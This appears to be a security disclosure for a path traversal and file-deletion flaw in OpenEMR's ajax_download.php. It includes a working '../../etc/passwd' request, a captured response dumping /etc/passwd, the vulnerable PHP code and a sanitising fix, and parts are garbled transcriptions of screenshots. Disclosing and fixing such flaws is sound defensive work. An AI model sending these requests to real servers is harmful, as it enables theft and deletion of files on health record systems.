Path traversal vulnerability. Denial of Service vulnerability.

Vulnerable scenario: "/openemr/custom/ajax_download.php?fileName=" Vulnerable function in file: /custom/ajax_download.php Conditions:

- any authorized user
- for DoS case: directory "/sites/default/documents/cqm_qrda/" must exists on server (Due to logic of "unlink()" function, path to file must consist only exsisting directories and file in it.)

Description:

Attacker can download any file, which is readable by user "www-data", from server storage.

If requested file is writeable for "www-data" user and directory

"/sites/default/documents/cqm_qrda/" exists, it will be <u>deleted</u> from server and may cause Denial of Service.

Request example:

GET /open/custom/ajax_download.php?fileName=../../../../../../../../etc/passwd HTTP/1.1

Host: 10.198.0.133

X-Requested-With: XMLHttpRequest

Cookie: OpenEMR=tgk4uo09vdrk0dtnvm8751rl17

	Response
Raw Params Headers Hex	Raw Headers Hex
GET	HTTP/1.1 200 OK
/openemr/custom/ajax_download.php?fileName=%2e%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%	Date: Wed, 24 Jul 2019 11:12:44 GMT
<pre>%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 HTTP/1.1</pre>	Server: Apache/2.4.29 (Ubuntu)
Host: 10.198.0.133	Expires: 0
<pre>Ser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:68.0) Gecko/20100101</pre>	Cache-Control: must-revalidate, post-check=0, pre-check=0
irefox/68.0	Pragma: public
<pre>accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>	Content-Length: 1608
ccept-Language: en-US,en;q=0.5	Content-Disposition: attachment; filename=passwd;
ccept-Encoding: gzip, deflate	Content-Description: File Transfer
ontent-Type: application/x-www-form-urlencoded	Connection: close
ontent-Length: 2	Content-Type: application/force-download
connection: close	
-Requested-With: XMLHttpRequest	root:x:0:0:root:/root:/bin/bash
cokie: OpenEMR=j4mu7j5q4siup4csstcni9khij	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
	bin:x:2:2:bin:/bin:/usr/sbin/nologin
	sys:x:3:3:sys:/dev:/usr/sbin/nologin
	sync:x:4:65534:sync:/bin:/bin/sync
	games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
	lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
	news:x:9:9:news:/var/spoi/news:/usr/sbin/nologin
	uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/hologin
	provy:x:13:13:provy:/bin/uclogin
	www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
	backup:x:34:34:backup://war/backups://war/sbin/hologin
	list:x:38:38:Mailing List Manager:/war/list:/usr/sbin/nologin
	irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
	gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
	systemd-network:x:100:102:systemd Network
	Management, , ; : /run/systemd/netif:/usr/sbin/nologin
	systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
	syslog:x:102:106::/home/syslog:/usr/sbin/nologin
	messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
	_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
	lxd:x:105:65534::/var/lib/lxd/:/bin/false
	uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
	<pre>dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin</pre>
	landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
	pollinate:x:109:1::/var/cache/pollinate:/bin/false
	crm:x:1000:1000:crm:/home/crm:/bin/bash
	mysql:x:110:114:MySQL Server,,,:/nonexistent:/bin/false
	sshd:x:111:65534::/run/sshd:/usr/sbin/nologin

Screenshot 1. Upload file "/etc/passwd" with simple request. Used filename in request: "../../../../../../etc/passwd"

34	
35	if (\$fileName) {
36	<pre>\$fileList = explode(",", \$fileName);</pre>
37	<pre>//if (strpos(\$fileName,",") !== FALSE) {</pre>
38	<pre>if (count(\$fileList) > 1) {</pre>
39	// Multiple files, zip them together
40	<pre>\$zip = new ZipArchive;</pre>
41	<pre>\$currentTime = date("Y-m-d-H-i-s");</pre>
42	<pre>global \$qrda_file_path;</pre>
43	<pre>\$finalZip = \$qrda_file_path . "QRDA_2014_1_" . \$currentTime . ".zip";</pre>
44	<pre>if (\$zip->open(\$finalZip, ZipArchive::CREATE) != true) {</pre>
45	<pre>echo xlt("FAILURE: Couldn't create the zip");</pre>
46	}
47	
48	<pre>foreach (\$fileList as \$eachFile) {</pre>
49	<pre>check_file_dir_name(\$eachFile);</pre>
50	<pre>\$zip->addFile(\$qrda_file_path.\$eachFile, \$eachFile);</pre>
51	}
52	
53	<pre>\$zip->close();</pre>
54	<pre>foreach (\$fileList as \$eachFile) {</pre>
55	unlink(\$qrda_file_path.\$eachFile);
56	
57	} else {
58	<pre>\$finalZip = \$qrda_file_path.\$fileList[0];</pre>
59	
60	
61	<pre>header("Pragma: public");</pre>
62	<pre>header("Expires: 0");</pre>
63	<pre>header("Cache-Control: must-revalidate, post-check=0, pre-check=0");</pre>
64	<pre>header("Content-Type: application/force-download"); header("Content-Type: application/force-download");</pre>
65	<pre>header("Content-Length: " . filesize(\$finalZip)); header("Content-Length: " . filesize(\$finalZip));</pre>
66 67	<pre>header("Content-Disposition: attachment; filename=" . basename(\$finalZip) . ";"); header("Content Deconintion: File Transfer");</pre>
67	<pre>header("Content-Description: File Transfer"); readfile(#fire17in);</pre>
68 60	<pre>readfile(\$finalZip); unlink(\$finalZip);</pre>
69	<pre>unlink(\$finalZip);</pre>
70 71	exit(0);
/1	

Screenshot 2. Code of "ajax_download.php".

Variable "qrda_file_path" is equal to "/sites/default/documents/cqm_qrda/". Attacker have control over the "filename" variable and there is no validation/sanitize of it.

How to secure:

There is good function "check_file_dir_name()" in sanitize.inc.php and you might use something like that for filename check.

New function example (based on "check_file_dir_name()"):

```
function check_file_name($fname)
{
    if (empty($fname) || preg_match('/[^A-Za-z0-9_.-]/', $fname)) {
        error_log("ERROR: The following variable contains invalid characters:" .
errorLogEscape($fname));
    die(xlt("ERROR: The following variable contains invalid characters").": ". attr($fname));
    } else {
        return $fname;
    }
}
```